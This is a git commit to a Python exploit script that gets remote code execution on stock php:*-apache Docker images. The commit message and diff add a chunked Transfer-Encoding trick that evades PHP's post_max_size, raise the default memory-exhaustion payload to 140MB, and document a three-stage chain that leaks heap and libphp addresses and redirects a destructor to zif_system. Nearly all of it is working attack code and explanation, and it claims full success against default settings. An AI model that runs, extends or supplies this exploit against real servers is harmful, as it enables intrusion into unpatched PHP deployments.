Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE

PHP checks Content-Length against post_max_size before parsing multipart
bodies, but Transfer-Encoding: chunked requests have no Content-Length.
The full chunked body is processed without any size check, allowing the
exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M.

This removes the last non-default configuration requirement. The exploit
now achieves full RCE against stock php:*-apache Docker images with zero
configuration changes (4/4 confirmed on php:8.4.26-apache).

Changes:
- post() auto-switches to chunked TE for bodies over 8MB
- Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit)
- README rewritten to document the working three-stage RCE chain
- docker-compose.yml adds stock variant for testing
This commit is contained in:
neko
2026-10-22 12:58:04 +00:00
parent 13fdd2b446
commit e02c9f3122
2 changed files with 185 additions and 137 deletions
+55 -17
View File
@@ -8,6 +8,14 @@ Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP):
Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR)
Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE
OOM is triggered by sending a POST body larger than memory_limit. PHP's
post_max_size (default 8M) would normally cap body size, but this exploit
uses HTTP chunked Transfer-Encoding to bypass it: PHP only checks
Content-Length against post_max_size, so a chunked request with no
Content-Length header passes the check and the full body is processed.
This works against stock php:*-apache Docker images with default settings
(memory_limit=128M, post_max_size=8M, display_errors=STDOUT).
Auto-detection:
The exploit fingerprints the target PHP version from HTTP headers, looks up
binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database
@@ -21,12 +29,13 @@ Requirements on the target:
- session.upload_progress.cleanup=1 (default on)
- display_errors=On or STDOUT (default when no php.ini is deployed, e.g.
official Docker images; php.ini-production sets it Off)
- memory_limit reachable via POST body (default 128M, use --huge-mb 140)
- post_max_size is bypassed via chunked Transfer-Encoding (no constraint)
- MaxRequestWorkers=1, or low worker count with retries (default is 150;
the exploit needs A and B requests to hit the same worker process)
- Any PHP-handled URL (no session_start() needed on the page)
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success.
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
with stock settings (memory_limit=128M, post_max_size=8M).
Based on research from 9bie/php2shell-bypass-aslr-exp.
Usage:
@@ -58,6 +67,7 @@ from collections import Counter
SID = b"attacksessionid0001"
MAX_CMD = 14
CHUNKED_THRESHOLD = 8 * 1024 * 1024
# ---------------------------------------------------------------------------
# Heap spray profiles (compiler-dependent heap geometry constants)
@@ -505,7 +515,12 @@ class Target:
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes:
"""Send POST, read full response, close connection."""
"""Send POST, read full response, close connection.
Bodies larger than CHUNKED_THRESHOLD are sent with
Transfer-Encoding: chunked instead of Content-Length, which
bypasses PHP's post_max_size check.
"""
s = self._connect()
s.settimeout(timeout or self.timeout)
@@ -521,27 +536,49 @@ class Target:
except OSError:
pass
use_chunked = len(body) > CHUNKED_THRESHOLD
extra = ""
for k, v in (extra_headers or {}).items():
extra += f"{k}: {v}\r\n"
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
if use_chunked:
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
else:
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
reader = threading.Thread(target=_reader, daemon=True)
reader.start()
try:
try:
s.sendall(hdr)
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
if use_chunked:
mv = memoryview(body)
for off in range(0, len(body), 65536):
seg = mv[off:off + 65536]
s.sendall(f"{len(seg):x}\r\n".encode())
s.sendall(seg)
s.sendall(b"\r\n")
s.sendall(b"0\r\n\r\n")
else:
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
except OSError:
pass
reader.join(timeout=(timeout or self.timeout) + 1.0)
@@ -583,7 +620,7 @@ class Target:
class Exploit:
def __init__(self, target: Target, cmd: str, profile: str = "bookworm",
zif_offset: int = 0, dtor_offset: int = 0,
htdata_offset: int = 0, huge_mb: int = 12,
htdata_offset: int = 0, huge_mb: int = 140,
workers: int = 1):
self.t = target
self.cmd = cmd.encode()
@@ -1005,7 +1042,8 @@ Calibrate: extract offsets for a new PHP build:
help="verify RCE via docker exec CONTAINER cat PATH")
top.add_argument("--workers", type=int, default=1,
help="number of Apache workers to spray (default 1)")
top.add_argument("--huge-mb", type=int, default=12)
top.add_argument("--huge-mb", type=int, default=140,
help="OOM field size in MB (default 140, exceeds stock 128M limit)")
top.add_argument("--timeout", type=float, default=30.0)
top.add_argument("--retries", type=int, default=5)
top.add_argument("-q", "--quiet", action="store_true")